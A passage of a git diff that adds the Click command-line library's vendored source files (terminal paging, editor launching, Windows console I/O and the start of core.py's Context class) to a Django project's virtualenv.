and os.system(f'more "{filename}"') == 0: + return _pipepager(generator, "more", color) + return _nullpager(stdout, generator, color) + finally: + os.unlink(filename) + + +def _pipepager(generator: t.Iterable[str], cmd: str, color: t.Optional[bool]) -> None: + """Page through text by feeding it to another program. Invoking a + pager through this might support colors. + """ + import subprocess + + env = dict(os.environ) + + # If we're piping to less we might support colors under the + # condition that + cmd_detail = cmd.rsplit("/", 1)[-1].split() + if color is None and cmd_detail[0] == "less": + less_flags = f"{os.environ.get('LESS', '')}{' '.join(cmd_detail[1:])}" + if not less_flags: + env["LESS"] = "-R" + color = True + elif "r" in less_flags or "R" in less_flags: + color = True + + c = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, env=env) + stdin = t.cast(t.BinaryIO, c.stdin) + encoding = get_best_encoding(stdin) + try: + for text in generator: + if not color: + text = strip_ansi(text) + + stdin.write(text.encode(encoding, "replace")) + except (OSError, KeyboardInterrupt): + pass + else: + stdin.close() + + # Less doesn't respect ^C, but catches it for its own UI purposes (aborting + # search or other commands inside less). + # + # That means when the user hits ^C, the parent process (click) terminates, + # but less is still alive, paging the output and messing up the terminal. + # + # If the user wants to make the pager exit on ^C, they should set + # `LESS='-K'`. It's not our decision to make. + while True: + try: + c.wait() + except KeyboardInterrupt: + pass + else: + break + + +def _tempfilepager( + generator: t.Iterable[str], cmd: str, color: t.Optional[bool] +) -> None: + """Page through text by invoking a program on a temporary file.""" + import tempfile + + fd, filename = tempfile.mkstemp() + # TODO: This never terminates if the passed generator never terminates. + text = "".join(generator) + if not color: + text = strip_ansi(text) + encoding = get_best_encoding(sys.stdout) + with open_stream(filename, "wb")[0] as f: + f.write(text.encode(encoding)) + try: + os.system(f'{cmd} "{filename}"') + finally: + os.close(fd) + os.unlink(filename) + + +def _nullpager( + stream: t.TextIO, generator: t.Iterable[str], color: t.Optional[bool] +) -> None: + """Simply print unformatted text. This is the ultimate fallback.""" + for text in generator: + if not color: + text = strip_ansi(text) + stream.write(text) + + +class Editor: + def __init__( + self, + editor: t.Optional[str] = None, + env: t.Optional[t.Mapping[str, str]] = None, + require_save: bool = True, + extension: str = ".txt", + ) -> None: + self.editor = editor + self.env = env + self.require_save = require_save + self.extension = extension + + def get_editor(self) -> str: + if self.editor is not None: + return self.editor + for key in "VISUAL", "EDITOR": + rv = os.environ.get(key) + if rv: + return rv + if WIN: + return "notepad" + for editor in "sensible-editor", "vim", "nano": + if os.system(f"which {editor} >/dev/null 2>&1") == 0: + return editor + return "vi" + + def edit_file(self, filename: str) -> None: + import subprocess + + editor = self.get_editor() + environ: t.Optional[t.Dict[str, str]] = None + + if self.env: + environ = os.environ.copy() + environ.update(self.env) + + try: + c = subprocess.Popen(f'{editor} "{filename}"', env=environ, shell=True) + exit_code = c.wait() + if exit_code != 0: + raise ClickException( + _("{editor}: Editing failed").format(editor=editor) + ) + except OSError as e: + raise ClickException( + _("{editor}: Editing failed: {e}").format(editor=editor, e=e) + ) from e + + def edit(self, text: t.Optional[t.AnyStr]) -> t.Optional[t.AnyStr]: + import tempfile + + if not text: + data = b"" + elif isinstance(text, (bytes, bytearray)): + data = text + else: + if text and not text.endswith("\n"): + text += "\n" + + if WIN: + data = text.replace("\n", "\r\n").encode("utf-8-sig") + else: + data = text.encode("utf-8") + + fd, name = tempfile.mkstemp(prefix="editor-", suffix=self.extension) + f: t.BinaryIO + + try: + with os.fdopen(fd, "wb") as f: + f.write(data) + + # If the filesystem resolution is 1 second, like Mac OS + # 10.12 Extended, or 2 seconds, like FAT32, and the editor + # closes very fast, require_save can fail. Set the modified + # time to be 2 seconds in the past to work around this. + os.utime(name, (os.path.getatime(name), os.path.getmtime(name) - 2)) + # Depending on the resolution, the exact value might not be + # recorded, so get the new recorded value. + timestamp = os.path.getmtime(name) + + self.edit_file(name) + + if self.require_save and os.path.getmtime(name) == timestamp: + return None + + with open(name, "rb") as f: + rv = f.read() + + if isinstance(text, (bytes, bytearray)): + return rv + + return rv.decode("utf-8-sig").replace("\r\n", "\n") # type: ignore + finally: + os.unlink(name) + + +def open_url(url: str, wait: bool = False, locate: bool = False) -> int: + import subprocess + + def _unquote_file(url: str) -> str: + from urllib.parse import unquote + + if url.startswith("file://"): + url = unquote(url[7:]) + + return url + + if sys.platform == "darwin": + args = ["open"] + if wait: + args.append("-W") + if locate: + args.append("-R") + args.append(_unquote_file(url)) + null = open("/dev/null", "w") + try: + return subprocess.Popen(args, stderr=null).wait() + finally: + null.close() + elif WIN: + if locate: + url = _unquote_file(url.replace('"', "")) + args = f'explorer /select,"{url}"' + else: + url = url.replace('"', "") + wait_str = "/WAIT" if wait else "" + args = f'start {wait_str} "" "{url}"' + return os.system(args) + elif CYGWIN: + if locate: + url = os.path.dirname(_unquote_file(url).replace('"', "")) + args = f'cygstart "{url}"' + else: + url = url.replace('"', "") + wait_str = "-w" if wait else "" + args = f'cygstart {wait_str} "{url}"' + return os.system(args) + + try: + if locate: + url = os.path.dirname(_unquote_file(url)) or "." + else: + url = _unquote_file(url) + c = subprocess.Popen(["xdg-open", url]) + if wait: + return c.wait() + return 0 + except OSError: + if url.startswith(("http://", "https://")) and not locate and not wait: + import webbrowser + + webbrowser.open(url) + return 0 + return 1 + + +def _translate_ch_to_exc(ch: str) -> t.Optional[BaseException]: + if ch == "\x03": + raise KeyboardInterrupt() + + if ch == "\x04" and not WIN: # Unix-like, Ctrl+D + raise EOFError() + + if ch == "\x1a" and WIN: # Windows, Ctrl+Z + raise EOFError() + + return None + + +if WIN: + import msvcrt + + @contextlib.contextmanager + def raw_terminal() -> t.Iterator[int]: + yield -1 + + def getchar(echo: bool) -> str: + # The function `getch` will return a bytes object corresponding to + # the pressed character. Since Windows 10 build 1803, it will also + # return \x00 when called a second time after pressing a regular key. + # + # `getwch` does not share this probably-bugged behavior. Moreover, it + # returns a Unicode object by default, which is what we want. + # + # Either of these functions will return \x00 or \xe0 to indicate + # a special key, and you need to call the same function again to get + # the "rest" of the code. The fun part is that \u00e0 is + # "latin small letter a with grave", so if you type that on a French + # keyboard, you _also_ get a \xe0. + # E.g., consider the Up arrow. This returns \xe0 and then \x48. The + # resulting Unicode string reads as "a with grave" + "capital H". + # This is indistinguishable from when the user actually types + # "a with grave" and then "capital H". + # + # When \xe0 is returned, we assume it's part of a special-key sequence + # and call `getwch` again, but that means that when the user types + # the \u00e0 character, `getchar` doesn't return until a second + # character is typed. + # The alternative is returning immediately, but that would mess up + # cross-platform handling of arrow keys and others that start with + # \xe0. Another option is using `getch`, but then we can't reliably + # read non-ASCII characters, because return values of `getch` are + # limited to the current 8-bit codepage. + # + # Anyway, Click doesn't claim to do this Right(tm), and using `getwch` + # is doing the right thing in more situations than with `getch`. + func: t.Callable[[], str] + + if echo: + func = msvcrt.getwche # type: ignore + else: + func = msvcrt.getwch # type: ignore + + rv = func() + + if rv in ("\x00", "\xe0"): + # \x00 and \xe0 are control characters that indicate special key, + # see above. + rv += func() + + _translate_ch_to_exc(rv) + return rv + +else: + import tty + import termios + + @contextlib.contextmanager + def raw_terminal() -> t.Iterator[int]: + f: t.Optional[t.TextIO] + fd: int + + if not isatty(sys.stdin): + f = open("/dev/tty") + fd = f.fileno() + else: + fd = sys.stdin.fileno() + f = None + + try: + old_settings = termios.tcgetattr(fd) + + try: + tty.setraw(fd) + yield fd + finally: + termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) + sys.stdout.flush() + + if f is not None: + f.close() + except termios.error: + pass + + def getchar(echo: bool) -> str: + with raw_terminal() as fd: + ch = os.read(fd, 32).decode(get_best_encoding(sys.stdin), "replace") + + if echo and isatty(sys.stdout): + sys.stdout.write(ch) + + _translate_ch_to_exc(ch) + return ch diff --git a/django_lottopy/lib/python3.10/site-packages/click/_textwrap.py b/django_lottopy/lib/python3.10/site-packages/click/_textwrap.py new file mode 100644 index 00000000..b47dcbd4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/_textwrap.py @@ -0,0 +1,49 @@ +import textwrap +import typing as t +from contextlib import contextmanager + + +class TextWrapper(textwrap.TextWrapper): + def _handle_long_word( + self, + reversed_chunks: t.List[str], + cur_line: t.List[str], + cur_len: int, + width: int, + ) -> None: + space_left = max(width - cur_len, 1) + + if self.break_long_words: + last = reversed_chunks[-1] + cut = last[:space_left] + res = last[space_left:] + cur_line.append(cut) + reversed_chunks[-1] = res + elif not cur_line: + cur_line.append(reversed_chunks.pop()) + + @contextmanager + def extra_indent(self, indent: str) -> t.Iterator[None]: + old_initial_indent = self.initial_indent + old_subsequent_indent = self.subsequent_indent + self.initial_indent += indent + self.subsequent_indent += indent + + try: + yield + finally: + self.initial_indent = old_initial_indent + self.subsequent_indent = old_subsequent_indent + + def indent_only(self, text: str) -> str: + rv = [] + + for idx, line in enumerate(text.splitlines()): + indent = self.initial_indent + + if idx > 0: + indent = self.subsequent_indent + + rv.append(f"{indent}{line}") + + return "\n".join(rv) diff --git a/django_lottopy/lib/python3.10/site-packages/click/_winconsole.py b/django_lottopy/lib/python3.10/site-packages/click/_winconsole.py new file mode 100644 index 00000000..6b20df31 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/_winconsole.py @@ -0,0 +1,279 @@ +# This module is based on the excellent work by Adam Bartoš who +# provided a lot of what went into the implementation here in +# the discussion to issue1602 in the Python bug tracker. +# +# There are some general differences in regards to how this works +# compared to the original patches as we do not need to patch +# the entire interpreter but just work in our little world of +# echo and prompt. +import io +import sys +import time +import typing as t +from ctypes import byref +from ctypes import c_char +from ctypes import c_char_p +from ctypes import c_int +from ctypes import c_ssize_t +from ctypes import c_ulong +from ctypes import c_void_p +from ctypes import POINTER +from ctypes import py_object +from ctypes import Structure +from ctypes.wintypes import DWORD +from ctypes.wintypes import HANDLE +from ctypes.wintypes import LPCWSTR +from ctypes.wintypes import LPWSTR + +from ._compat import _NonClosingTextIOWrapper + +assert sys.platform == "win32" +import msvcrt # noqa: E402 +from ctypes import windll # noqa: E402 +from ctypes import WINFUNCTYPE # noqa: E402 + +c_ssize_p = POINTER(c_ssize_t) + +kernel32 = windll.kernel32 +GetStdHandle = kernel32.GetStdHandle +ReadConsoleW = kernel32.ReadConsoleW +WriteConsoleW = kernel32.WriteConsoleW +GetConsoleMode = kernel32.GetConsoleMode +GetLastError = kernel32.GetLastError +GetCommandLineW = WINFUNCTYPE(LPWSTR)(("GetCommandLineW", windll.kernel32)) +CommandLineToArgvW = WINFUNCTYPE(POINTER(LPWSTR), LPCWSTR, POINTER(c_int))( + ("CommandLineToArgvW", windll.shell32) +) +LocalFree = WINFUNCTYPE(c_void_p, c_void_p)(("LocalFree", windll.kernel32)) + +STDIN_HANDLE = GetStdHandle(-10) +STDOUT_HANDLE = GetStdHandle(-11) +STDERR_HANDLE = GetStdHandle(-12) + +PyBUF_SIMPLE = 0 +PyBUF_WRITABLE = 1 + +ERROR_SUCCESS = 0 +ERROR_NOT_ENOUGH_MEMORY = 8 +ERROR_OPERATION_ABORTED = 995 + +STDIN_FILENO = 0 +STDOUT_FILENO = 1 +STDERR_FILENO = 2 + +EOF = b"\x1a" +MAX_BYTES_WRITTEN = 32767 + +try: + from ctypes import pythonapi +except ImportError: + # On PyPy we cannot get buffers so our ability to operate here is + # severely limited. + get_buffer = None +else: + + class Py_buffer(Structure): + _fields_ = [ + ("buf", c_void_p), + ("obj", py_object), + ("len", c_ssize_t), + ("itemsize", c_ssize_t), + ("readonly", c_int), + ("ndim", c_int), + ("format", c_char_p), + ("shape", c_ssize_p), + ("strides", c_ssize_p), + ("suboffsets", c_ssize_p), + ("internal", c_void_p), + ] + + PyObject_GetBuffer = pythonapi.PyObject_GetBuffer + PyBuffer_Release = pythonapi.PyBuffer_Release + + def get_buffer(obj, writable=False): + buf = Py_buffer() + flags = PyBUF_WRITABLE if writable else PyBUF_SIMPLE + PyObject_GetBuffer(py_object(obj), byref(buf), flags) + + try: + buffer_type = c_char * buf.len + return buffer_type.from_address(buf.buf) + finally: + PyBuffer_Release(byref(buf)) + + +class _WindowsConsoleRawIOBase(io.RawIOBase): + def __init__(self, handle): + self.handle = handle + + def isatty(self): + super().isatty() + return True + + +class _WindowsConsoleReader(_WindowsConsoleRawIOBase): + def readable(self): + return True + + def readinto(self, b): + bytes_to_be_read = len(b) + if not bytes_to_be_read: + return 0 + elif bytes_to_be_read % 2: + raise ValueError( + "cannot read odd number of bytes from UTF-16-LE encoded console" + ) + + buffer = get_buffer(b, writable=True) + code_units_to_be_read = bytes_to_be_read // 2 + code_units_read = c_ulong() + + rv = ReadConsoleW( + HANDLE(self.handle), + buffer, + code_units_to_be_read, + byref(code_units_read), + None, + ) + if GetLastError() == ERROR_OPERATION_ABORTED: + # wait for KeyboardInterrupt + time.sleep(0.1) + if not rv: + raise OSError(f"Windows error: {GetLastError()}") + + if buffer[0] == EOF: + return 0 + return 2 * code_units_read.value + + +class _WindowsConsoleWriter(_WindowsConsoleRawIOBase): + def writable(self): + return True + + @staticmethod + def _get_error_message(errno): + if errno == ERROR_SUCCESS: + return "ERROR_SUCCESS" + elif errno == ERROR_NOT_ENOUGH_MEMORY: + return "ERROR_NOT_ENOUGH_MEMORY" + return f"Windows error {errno}" + + def write(self, b): + bytes_to_be_written = len(b) + buf = get_buffer(b) + code_units_to_be_written = min(bytes_to_be_written, MAX_BYTES_WRITTEN) // 2 + code_units_written = c_ulong() + + WriteConsoleW( + HANDLE(self.handle), + buf, + code_units_to_be_written, + byref(code_units_written), + None, + ) + bytes_written = 2 * code_units_written.value + + if bytes_written == 0 and bytes_to_be_written > 0: + raise OSError(self._get_error_message(GetLastError())) + return bytes_written + + +class ConsoleStream: + def __init__(self, text_stream: t.TextIO, byte_stream: t.BinaryIO) -> None: + self._text_stream = text_stream + self.buffer = byte_stream + + @property + def name(self) -> str: + return self.buffer.name + + def write(self, x: t.AnyStr) -> int: + if isinstance(x, str): + return self._text_stream.write(x) + try: + self.flush() + except Exception: + pass + return self.buffer.write(x) + + def writelines(self, lines: t.Iterable[t.AnyStr]) -> None: + for line in lines: + self.write(line) + + def __getattr__(self, name: str) -> t.Any: + return getattr(self._text_stream, name) + + def isatty(self) -> bool: + return self.buffer.isatty() + + def __repr__(self): + return f"" + + +def _get_text_stdin(buffer_stream: t.BinaryIO) -> t.TextIO: + text_stream = _NonClosingTextIOWrapper( + io.BufferedReader(_WindowsConsoleReader(STDIN_HANDLE)), + "utf-16-le", + "strict", + line_buffering=True, + ) + return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) + + +def _get_text_stdout(buffer_stream: t.BinaryIO) -> t.TextIO: + text_stream = _NonClosingTextIOWrapper( + io.BufferedWriter(_WindowsConsoleWriter(STDOUT_HANDLE)), + "utf-16-le", + "strict", + line_buffering=True, + ) + return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) + + +def _get_text_stderr(buffer_stream: t.BinaryIO) -> t.TextIO: + text_stream = _NonClosingTextIOWrapper( + io.BufferedWriter(_WindowsConsoleWriter(STDERR_HANDLE)), + "utf-16-le", + "strict", + line_buffering=True, + ) + return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) + + +_stream_factories: t.Mapping[int, t.Callable[[t.BinaryIO], t.TextIO]] = { + 0: _get_text_stdin, + 1: _get_text_stdout, + 2: _get_text_stderr, +} + + +def _is_console(f: t.TextIO) -> bool: + if not hasattr(f, "fileno"): + return False + + try: + fileno = f.fileno() + except (OSError, io.UnsupportedOperation): + return False + + handle = msvcrt.get_osfhandle(fileno) + return bool(GetConsoleMode(handle, byref(DWORD()))) + + +def _get_windows_console_stream( + f: t.TextIO, encoding: t.Optional[str], errors: t.Optional[str] +) -> t.Optional[t.TextIO]: + if ( + get_buffer is not None + and encoding in {"utf-16-le", None} + and errors in {"strict", None} + and _is_console(f) + ): + func = _stream_factories.get(f.fileno()) + if func is not None: + b = getattr(f, "buffer", None) + + if b is None: + return None + + return func(b) diff --git a/django_lottopy/lib/python3.10/site-packages/click/core.py b/django_lottopy/lib/python3.10/site-packages/click/core.py new file mode 100644 index 00000000..5abfb0f3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/core.py @@ -0,0 +1,2998 @@ +import enum +import errno +import inspect +import os +import sys +import typing as t +from collections import abc +from contextlib import contextmanager +from contextlib import ExitStack +from functools import partial +from functools import update_wrapper +from gettext import gettext as _ +from gettext import ngettext +from itertools import repeat + +from . import types +from .exceptions import Abort +from .exceptions import BadParameter +from .exceptions import ClickException +from .exceptions import Exit +from .exceptions import MissingParameter +from .exceptions import UsageError +from .formatting import HelpFormatter +from .formatting import join_options +from .globals import pop_context +from .globals import push_context +from .parser import _flag_needs_value +from .parser import OptionParser +from .parser import split_opt +from .termui import confirm +from .termui import prompt +from .termui import style +from .utils import _detect_program_name +from .utils import _expand_args +from .utils import echo +from .utils import make_default_short_help +from .utils import make_str +from .utils import PacifyFlushWrapper + +if t.TYPE_CHECKING: + import typing_extensions as te + from .shell_completion import CompletionItem + +F = t.TypeVar("F", bound=t.Callable[..., t.Any]) +V = t.TypeVar("V") + + +def _complete_visible_commands( + ctx: "Context", incomplete: str +) -> t.Iterator[t.Tuple[str, "Command"]]: + """List all the subcommands of a group that start with the + incomplete value and aren't hidden. + + :param ctx: Invocation context for the group. + :param incomplete: Value being completed. May be empty. + """ + multi = t.cast(MultiCommand, ctx.command) + + for name in multi.list_commands(ctx): + if name.startswith(incomplete): + command = multi.get_command(ctx, name) + + if command is not None and not command.hidden: + yield name, command + + +def _check_multicommand( + base_command: "MultiCommand", cmd_name: str, cmd: "Command", register: bool = False +) -> None: + if not base_command.chain or not isinstance(cmd, MultiCommand): + return + if register: + hint = ( + "It is not possible to add multi commands as children to" + " another multi command that is in chain mode." + ) + else: + hint = ( + "Found a multi command as subcommand to a multi command" + " that is in chain mode. This is not supported." + ) + raise RuntimeError( + f"{hint}. Command {base_command.name!r} is set to chain and" + f" {cmd_name!r} was added as a subcommand but it in itself is a" + f" multi command. ({cmd_name!r} is a {type(cmd).__name__}" + f" within a chained {type(base_command).__name__} named" + f" {base_command.name!r})." + ) + + +def batch(iterable: t.Iterable[V], batch_size: int) -> t.List[t.Tuple[V, ...]]: + return list(zip(*repeat(iter(iterable), batch_size))) + + +@contextmanager +def augment_usage_errors( + ctx: "Context", param: t.Optional["Parameter"] = None +) -> t.Iterator[None]: + """Context manager that attaches extra information to exceptions.""" + try: + yield + except BadParameter as e: + if e.ctx is None: + e.ctx = ctx + if param is not None and e.param is None: + e.param = param + raise + except UsageError as e: + if e.ctx is None: + e.ctx = ctx + raise + + +def iter_params_for_processing( + invocation_order: t.Sequence["Parameter"], + declaration_order: t.Sequence["Parameter"], +) -> t.List["Parameter"]: + """Given a sequence of parameters in the order as should be considered + for processing and an iterable of parameters that exist, this returns + a list in the correct order as they should be processed. + """ + + def sort_key(item: "Parameter") -> t.Tuple[bool, float]: + try: + idx: float = invocation_order.index(item) + except ValueError: + idx = float("inf") + + return not item.is_eager, idx + + return sorted(declaration_order, key=sort_key) + + +class ParameterSource(enum.Enum): + """This is an :class:`~enum.Enum` that indicates the source of a + parameter's value. + + Use :meth:`click.Context.get_parameter_source` to get the + source for a parameter by name. + + .. versionchanged:: 8.0 + Use :class:`~enum.Enum` and drop the ``validate`` method. + + .. versionchanged:: 8.0 + Added the ``PROMPT`` value. + """ + + COMMANDLINE = enum.auto() + """The value was provided by the command line args.""" + ENVIRONMENT = enum.auto() + """The value was provided with an environment variable.""" + DEFAULT = enum.auto() + """Used the default specified by the parameter.""" + DEFAULT_MAP = enum.auto() + """Used a default provided by :attr:`Context.default_map`.""" + PROMPT = enum.auto() + """Used a prompt to confirm a default or provide a value.""" + + +class Context: + """The context is a special internal object that holds state relevant + for the script execution at every single level. It's normally invisible + to commands unless they opt-in to getting access to it. + + The context is useful as it can pass internal objects around and can + control special execution features such as reading data from + environment variables. + + A context can be used as context manager in which case it will call + :meth:`close` on teardown. + + :param command: the command class for this context. + :param parent: the parent context. + :param info_name: the info name for this invocation. Generally this + is the most descriptive name for the script or + command. For the toplevel script it is usually + the name of the script, for commands below it it's + the name of the script. + :param obj: an arbitrary object of user data. + :param auto_envvar_prefix: the prefix to use for automatic environment + variables. If this is `None` then reading + from environment variables is disabled. This + does not affect manually set environment + variables which are always read. + :param default_map: a dictionary (like object) with default values + for parameters. + :param terminal_width: the width of the terminal. The default is + inherit from parent context. If no context + defines the terminal width then auto + detection will be applied. + :param max_content_width: the maximum width for content rendered by + Click (this currently only affects help + pages). This defaults to 80 characters if + not overridden. In other words: even if the + terminal is larger than that, Click will not + format things wider than 80 characters by + default. In addition to that, formatters might + add some safety mapping on the right. + :param resilient_parsing: if this flag is enabled then Click will + parse without any interactivity or callback + invocation. Default values will also be + ignored. This is useful for implementing + things such as completion support. + :param allow_extra_args: if this is set to `True` then extra arguments + at the end will not raise an error and will be + kept on the context. The default is to inherit + from the command. + :param allow_interspersed_args: if this is set to `False` then options + and arguments cannot be mixed. The + default is to inherit from the command. + :param ignore_unknown_options: instructs click to ignore options it does + not know and keeps them for later + processing. + :param help_option_names: optionally a list of strings that define how + the default help parameter is named. The + default is ``['--help']``. + :param token_normalize_func: an optional function that is used to + normalize tokens (options, choices, + etc.). This for instance can be used to + implement case insensitive behavior. + :param color: controls if the terminal supports ANSI colors or not. The + default is autodetection. This is only needed if ANSI + codes are used in texts that Click prints which is by + default not the case. This for instance would affect + help output. + :param show_default: Show the default value for commands. If this + value is not set, it defaults to the value from the parent + context. ``Command.show_default`` overrides this default for the + specific command. + + .. versionchanged:: 8.1 + The ``show_default`` parameter is overridden by + ``Command.show_default``, instead of the other way around. + + .. versionchanged:: 8.0 + The ``show_default`` parameter defaults to the value from the + parent context. + + .. versionchanged:: 7.1 + Added the ``show_default`` parameter. + + .. versionchanged:: 4.0 + Added the ``color``, ``ignore_unknown_options``, and + ``max_content_width`` parameters. + + .. versionchanged:: 3.0 + Added the ``allow_extra_args`` and ``allow_interspersed_args`` + parameters. + + .. versionchanged:: 2.0 + Added the ``resilient_parsing``, ``help_option_names``, and + ``token_normalize_func`` parameters. + """ + + #: The formatter class to create with :meth:`make_formatter`. + #: + #: .. versionadded:: 8.0 + formatter_class: t.Type["HelpFormatter"] = HelpFormatter + + def __init__( + self, + command: "Command", + parent: t.Optional["Context"] = None, + info_name: t.Optional[str] = None, + obj: t.Optional[t.Any] = None, + auto_envvar_prefix: t.Optional[str] = None, + default_map: t.Optional[t.Dict[str, t.Any]] = None, + terminal_width: t.Optional[int] = None, + max_content_width: t.Optional[int] = None, + resilient_parsing: bool = False, + allow_extra_args: t.Optional[bool] = None, + allow_interspersed_args: t.Optional[bool] = None, + ignore_unknown_options: t.Optional[bool] = None, + help_option_names: t.Optional[t.List[str]] = None, + token_normalize_func: t.Optional[t.Callable[[str], str]] = None, + color: t.Optional[bool] = None, + show_default: t.Optional[bool] = None, + ) -> None: + #: the parent context or `None` if none exists. + self.parent = parent + #: the :class:`Command` for this context. + self.command = command + #: the descriptive information name + self.info_name = info_name + #: Map of parameter names to their parsed values. Parameters + #: with ``expose_value=False`` are not stored. + self.params: t.Dict[str, t.Any] = {} + #: the leftover arguments. + self.args: t.List[str] = [] + #: protected arguments. These are arguments that are prepended + #: to `args` when certain parsing scenarios are encountered but + #: must be never propagated to another arguments. This is used + #: to implement nested parsing. + self.protected_args: t.List[str] = [] + #: the collected prefixes of the command's options. + self._opt_prefixes: t.Set[str] = set(parent._opt_prefixes) if parent else set() + + if obj is None and parent is not None: + obj = parent.obj + + #: the user object stored. + self.obj: t.Any = obj + self._meta: t.Dict[str, t.Any] = getattr(parent, "meta", {}) + + #: A dictionary (-like object) with defaults for parameters. + if ( + default_map is None + and info_name is not None + and parent is not None + and parent.default_map is not None + ): + default_map = parent.default_map.get(info_name) + + self.default_map: t.Optional[t.Dict[str, t.Any]] = default_map + + #: This flag indicates if a subcommand is going to be executed. A + #: group callback can use this information to figure out if it's + #: being executed directly or because the execution flow passes + #: onwards to a subcommand. By default it's None, but it can be + #: the name of the subcommand to execute. + #: + #: If chaining is enabled this will be set to ``'*'`` in case + #: any commands are executed. It is however not possible to + #: figure out which ones. If you require this knowledge you + #: should use a :func:`result_callback`. + self.invoked_subcommand: t.Optional[str] = None + + if terminal_width is None and parent is not None: + terminal_width = parent.terminal_width + + #: The width of the terminal (None is autodetection). + self.terminal_width: t.Optional[int] = terminal_width + + if max_content_width is None and parent is not None: + max_content_width = parent.max_content_width + + #: The maximum width of formatted content (None implies a sensible + #: default which is 80 for most things). + self.max_content_width: t.Optional[int] = max_content_width + + if allow_extra_args is None: + allow_extra_args = command.allow_extra_args + + #: Indicates if the context allows extra args or if it should + #: fail on parsing. + #: + #: .. versionadded:: 3.0 + self.allow_extra_args = allow_extra_args + + if allow_interspersed_args is None: + allow_interspersed_args = command.allow_interspersed_args + + #: Indicates if the context allows mixing of arguments and + #: options or not. + #: + #: .. versionadded:: 3.0 + self.allow_interspersed_args: bool = allow_interspersed_args + + if ignore_unknown_options is None: + ignore_unknown_options = command.ignore_unknown_options + + #: Instructs click to ignore options that a command does not + #: understand and will store it on the context for later + #: processing. This is primarily useful for situations where you + #: want to call into external programs. Generally this pattern is + #: strongly discouraged because it's not possibly to losslessly + #: forward all arguments. + #: + #: .. versionadded:: 4.0 + self.ignore_unknown_options: bool = ignore_unknown_options + + if help_option_names is None: + if parent is not None: + help_option_names = parent.help_option_names + else: + help_option_names = ["--help"] + + #: The names for the help options. + self.help_option_names: t.List[str] = help_option_names + + if token_normalize_func is None and parent is not None: + token_normalize_func = parent.token_normalize_func + + #: An optional normalization function for tokens. This is + #: options, choices, commands etc. + self.token_normalize_func: t.Optional[ + t.Callable[[str], str] + ] = token_normalize_func + + #: Indicates if resilient parsing is enabled. In that case Click + #: will do its best to not cause any failures and default values + #: will be ignored. Useful for completion. + self.resilient_parsing: bool = resilient_parsing + + # If there is no envvar prefix yet, but the parent has one and + # the command on this level has a name, we can expand the envvar + # prefix automatically. + if auto_envvar_prefix is None: + if ( + parent is not None + and parent.auto_envvar_prefix is not None + and self.info_name is not None + ): + auto_envvar_prefix = ( + f"{parent.auto_envvar_prefix}_{self.info_name.upper()}" + ) + else: + auto_envvar_prefix = auto_envvar_prefix.upper() + + if auto_envvar_prefix is not None: + auto_envvar_prefix = auto_envvar_prefix.replace("-", "_") + + self.auto_envvar_prefix: t.Optional[str] = auto_envvar_prefix + + if color is None and parent is not None: + color = parent.color + + #: Controls if styling output is wanted or not. + self.color: t.Optional[bool] = color + + if show_default is None and parent is not None: + show_default = parent.show_default + + #: Show option default values when formatting help text. + self.show_default: t.Optional[bool] = show_default + + self._close_callbacks: t.List[t.Callable[[], t.Any]] = [] + self._depth = 0 + self._parameter_source: t.Dict[str, ParameterSource] = {} + self._exit_stack = ExitStack() + + def to_info_dict(self) -> t.Dict[str, t.Any]: + """Gather information that could be useful for a tool generating + user-facing documentation. This traverses the entire CLI + structure. + + .. code-block:: python + + with Context(cli) as ctx: + info = ctx.to_info_dict() + + .. versionadded:: 8.0 + """ + return { + "command": self.command.to_info_dict(self), + "info_name": self.info_name, + "allow_extra_args": self.allow_extra_args, + "allow_interspersed_args": self.allow_interspersed_args, + "ignore_unknown_options": self.ignore_unknown_options, + "auto_envvar_prefix": self.auto_envvar_prefix, + } + + def __enter__(self) -> "Context": + self._depth += 1 + push_context(self) + return self + + def __exit__(self, exc_type, exc_value, tb): # type: ignore + self._depth -= 1 + if self._depth == 0: + self.close() + pop_context() + + @contextmanager + def scope(self, cleanup: bool = True) -> t.Iterator["Context"]: + """This helper method can be used with the context object to promote + it to the current thread local (see :func:`get_current_context`). + The default behavior of this is to invoke the cleanup functions which + can be disabled by setting `cleanup` to `False`. The cleanup + functions are typically used for things such as closing file handles. + + If the cleanup is intended the context object can also be directly + used as a context manager. + + Example usage:: + + with ctx.scope(): + assert get_current_context() is ctx + + This is equivalent:: + + with ctx: + assert get_current_context() is ctx + + .. versionadded:: 5.0 + + :param cleanup: controls if the cleanup functions should be run or + not. The default is to run these functions. In + some situations the context only wants to be + temporarily pushed in which case this can be disabled. + Nested pushes automatically defer the cleanup. + """ + if not cleanup: + self._depth += 1 + try: + with self as rv: + yield rv + finally: + if not cleanup: + self._depth -= 1 + + @property + def meta(self) -> t.Dict[str, t.Any]: + """This is a dictionary which is shared with all the contexts + that are nested. It exists so that click utilities can store some + state here if they need to. It is however the responsibility of + that code to manage this dictionary well. + + The keys are supposed to be unique dotted strings. For instance + module paths are a good choice for it. What is stored in there is + irrelevant for the operation of click. However what is important is + that code that places data here adheres to the general semantics of + the system. + + Example usage:: + + LANG_KEY = f'{__name__}.lang' + + def set_language(value): + ctx = get_current_context() + ctx.meta[LANG_KEY] = value + + def get_language(): + return get_current_context().meta.get(LANG_KEY, 'en_US') + + .. versionadded:: 5.0 + """ + return self._meta + + def make_formatter(self) -> HelpFormatter: + """Creates the :class:`~click.HelpFormatter` for the help and + usage output. + + To quickly customize the formatter class used without overriding + this method, set the :attr:`formatter_class` attribute. + + .. versionchanged:: 8.0 + Added the :attr:`formatter_class` attribute. + """ + return self.formatter_class( + width=self.terminal_width, max_width=self.max_content_width + ) + + def with_resource(self, context_manager: t.ContextManager[V]) -> V: + """Register a resource as if it were used in a ``with`` + statement. The resource will be cleaned up when the context is + popped. + + Uses :meth:`contextlib.ExitStack.enter_context`. It calls the + resource's ``__enter__()`` method and returns the result. When + the context is popped, it closes the stack, which calls the + resource's ``__exit__()`` method. + + To register a cleanup function for something that isn't a + context manager, use :meth:`call_on_close`. Or use something + from :mod:`contextlib` to turn it into a context manager first. + + .. code-block:: python + + @click.group() + @click.option("--name") + @click.pass_context + def cli(ctx): + ctx.obj = ctx.with_resource(connect_db(name)) + + :param context_manager: 